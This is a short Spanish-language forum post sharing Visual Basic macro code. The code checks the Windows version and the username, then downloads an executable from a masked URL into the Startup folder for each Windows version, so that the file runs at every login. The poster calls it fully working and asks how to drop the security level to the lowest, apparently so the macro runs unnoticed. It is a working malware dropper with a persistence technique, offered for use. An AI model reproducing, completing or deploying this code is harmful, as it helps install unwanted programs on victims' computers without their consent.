Este Codigo mr funciona ala perfeccion :
Private Declare Function GetVersion Lib "kernel32" () As Long
Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" _
(ByVal lpBuffer As String, nSize As Long) As Long
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then DownloadFile = True
End Function
Public Function GetWinVersion() As String
Dim Ver As Long, WinVer As Long
Ver = GetVersion()
WinVer = Ver And &HFFFF&
GetWinVersion = Format((WinVer Mod 256) + ((WinVer \ 256) / 100), "Fixed")
End Function
Sub actualizar()
Dim lpBuff As String * 25
Dim ret As Long, UserName As String
ret = GetUserName(lpBuff, 25)
UserName = Left(lpBuff, InStr(lpBuff, Chr(0)) - 1)
If GetWinVersion >= 4 And GetWinVersion <= 5 Then
DownloadFile "http://++.exe", "c:\windows\all users\menú inicio\programas\inicio\" & "++" & ".exe"
End If
If GetWinVersion >= 5 And GetWinVersion <= 6 Then
DownloadFile "http://++.exe", "c:\documents and settings\all users\menú inicio\programas\inicio\" & "++" & ".exe"
End If
If GetWinVersion >= 6 And GetWinVersion <= 7 Then
DownloadFile "http://++.exe", "C:\Users\" & UserName & "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\" & "++" & ".exe"
End If
End Sub
lo que me falta es como poner el nivel de seguridad en lo mas bajo.. alguna idea??